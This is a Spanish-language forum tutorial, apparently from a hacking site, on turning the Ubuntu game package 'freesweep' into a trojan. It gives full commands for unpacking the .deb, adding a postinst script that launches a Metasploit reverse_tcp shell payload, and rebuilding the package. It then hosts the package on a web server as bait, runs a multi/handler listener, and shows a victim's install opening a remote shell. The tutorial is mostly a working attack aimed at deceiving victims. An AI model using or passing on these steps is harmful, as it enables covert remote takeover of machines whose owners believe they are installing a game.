Ahora despues de mirar algunos exploits, me di a la busqueda de infectar con un troyano a Linux, más especificamente Ubuntu 9.10. Este tutorial, se hace semejante al tutorial [Metasploit] Generando Ejecutable con PAYLOAD (http://foro.elhacker.net/hacking_avanzado/metasploit_generando_ejecutable_con_payload-t279407.0.html), el cual convertimos un PAYLOAD en un archivo ejecutable para infectar a Windows, ahora harémos lo mimos, pero para infectar Linux.
Para no levantar sospechas descargaremos un juego, en esté caso «Freesweep«, para despues infectarlo con el PAYLOAD.
shellroot@shellroot-desktop:~$ sudo apt-get --download-only install freesweep [sudo] password for shellroot: Leyendo lista de paquetes... Hecho Creando árbol de dependencias Leyendo la información de estado... Hecho Se actualizarán los siguientes paquetes: freesweep 1 actualizados, 0 se instalarán, 0 para eliminar y 183 no actualizados. Necesito descargar 39,2kB de archivos. Se utilizarán 172kB de espacio de disco adicional después de esta operación. Des:1 http://co.archive.ubuntu.com karmic/universe freesweep 0.90-2 [39,2kB] Descargados 39,2kB en 2s (19,1kB/s) Descarga completa y en modo de sólo descarga shellroot@shellroot-desktop:~$
Creamos una carpeta donde quedaran los archivos organizadamente. En este caso la pondre en /home/shellroot/
shellroot@shellroot-desktop:~$ mkdir /home/shellroot/Troyano shellroot@shellroot-desktop:~$
Ahora el archivo que descargamos al inicio lo movemos dentro de la carpeta que acabamos de crear (/home/shellroot/Troyano).
shellroot@shellroot-desktop:~$ sudo mv /var/cache/apt/archives/freesweep_0.90-2_i386.deb /home/shellroot/Troyano shellroot@shellroot-desktop:~$
Nos posicionamos dentro de la carpeta /home/shellroot/Troyano y modifcamos los permisos de la carpeta.
shellroot@shellroot-desktop:~$ cd /home/shellroot/Troyano shellroot@shellroot-desktop:~/Troyano$ chmod 777 /home/shellroot/Troyano shellroot@shellroot-desktop:~/Troyano$
Descomprimimos el archivo freesweep_0.90-2_i386.deb, dentro de la carpeta /home/shellroot/Troyano, para añadirle la infeccion del PAYLOAD.
shellroot@shellroot-desktop:~/Troyano$ dpkg -x freesweep_0.90-2_i386.deb Juego shellroot@shellroot-desktop:~/Troyano$
Ahora crearemos una carpeta que llamaremos DEBIAN, dentro de ella crearemos 2 archivos.
- control
- postinst
shellroot@shellroot-desktop:~/Troyano$ mkdir Juego/DEBIAN shellroot@shellroot-desktop:~/Troyano$ cd Juego/DEBIAN shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$
Dentro del archivo control, pondremos la siguiente informacion:
Package: freesweep Version: 0.90-1 sección: Juegos y Diversion Prioridad: Media Arquitectura: i386 Creado: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com) Descripcion: Buscaminas es una implementación del popular juego de minas, donde se intenta encontrar todas las minas sin encender ninguna, en base a sugerencias dadas por el equipo.
Ahora dentro del archivo postinst, pondremos un Script para la ejecucion de nuestro archivo infectado.
#!/bin/sh sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
Ahora crearemos el troyano con el PAYLOAD linux/x86/shell/reverse_tcp, damos los parametros de LHOST y LPORT y la ubucacion del archivo infectado.
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 X > /home/shellroot/Troyano/Juego/usr/games/freesweep_scores Created by msfpayload (http://www.metasploit.com). Payload: linux/x86/shell/reverse_tcp Length: 50 Options: LHOST=192.168.142.137,LPORT=1234 shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$
Ahora modifcamos los permisos del archivo postinst, y construiremos de nuevo el archivo que supuestamente es el «Juego».
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ chmod 755 postinst shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ dpkg-deb --build /home/shellroot/Troyano/Juego/ dpkg-deb: construyendo el paquete `freesweep' en `/home/shellroot/Troyano/Juego.deb'. shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$
La re-contruccion creara el archivo Juego.deb el cual debemos cambiar por freesweep.deb, asi que nos movemos a la carpeta /home/shellroot/Troyano, despues, lo moveremos a la Raiz del Servidor Web para su proxima descarga e infeccion.
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ cd /home/shellroot/Troyano shellroot@shellroot-desktop:~/Troyano$ mv Juego.deb freesweep.deb shellroot@shellroot-desktop:~/Troyano$ sudo cp freesweep.deb /var/www/ [sudo] password for shellroot: shellroot@shellroot-desktop:~/Troyano$
Iniciamos el Servidor del Apache
shellroot@shellroot-desktop:~/Troyano$ sudo /etc/init.d/apache2 start * Starting web server apache2 apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName httpd (pid 1576) already running [ OK ] shellroot@shellroot-desktop:~/Troyano$
Ahora como cuando lo hicimos con Windows, debemos de usar el Auxiliary multi/handler, configurarlo de la misma manera que cuando creamos el PAYLOAD y esperar a que la victima descargue e ejecute el archivo infectado.
shellroot@shellroot-desktop:~$ sudo msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 E [sudo] password for shellroot: [*] Please wait while we load the module tree... [*] Starting the payload handler... [*] Started reverse handler on port 1234
Ahora supongamos que somos la victima y descargamos el archivo.
hacklab@hacklab-desktop:~$ wget http://192.168.142.137/freesweep.deb --2010-01-21 23:36:27-- http://192.168.142.137/freesweep.deb Conectando a 192.168.142.137:80... conectado. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 39214 (38K) [application/x-debian-package] Guardando: «freesweep.deb» 100%[=======================================================>] 39.214 --.-K/s en 0s 2010-01-21 23:36:29 (93,0 MB/s) - `freesweep.deb' guardado [39214/39214] hacklab@hacklab-desktop:~$
Despues de descargado el archivo, lo instalamos.
hacklab@hacklab-desktop:~$ sudo dpkg -i freesweep.deb
Ahora miramos el multi/handler y voala, una session del Meterpreter
[*] Sending stage (36 bytes) [*] Command shell session 1 opened (192.168.142.137:1234 -> 192.168.142.140:41233)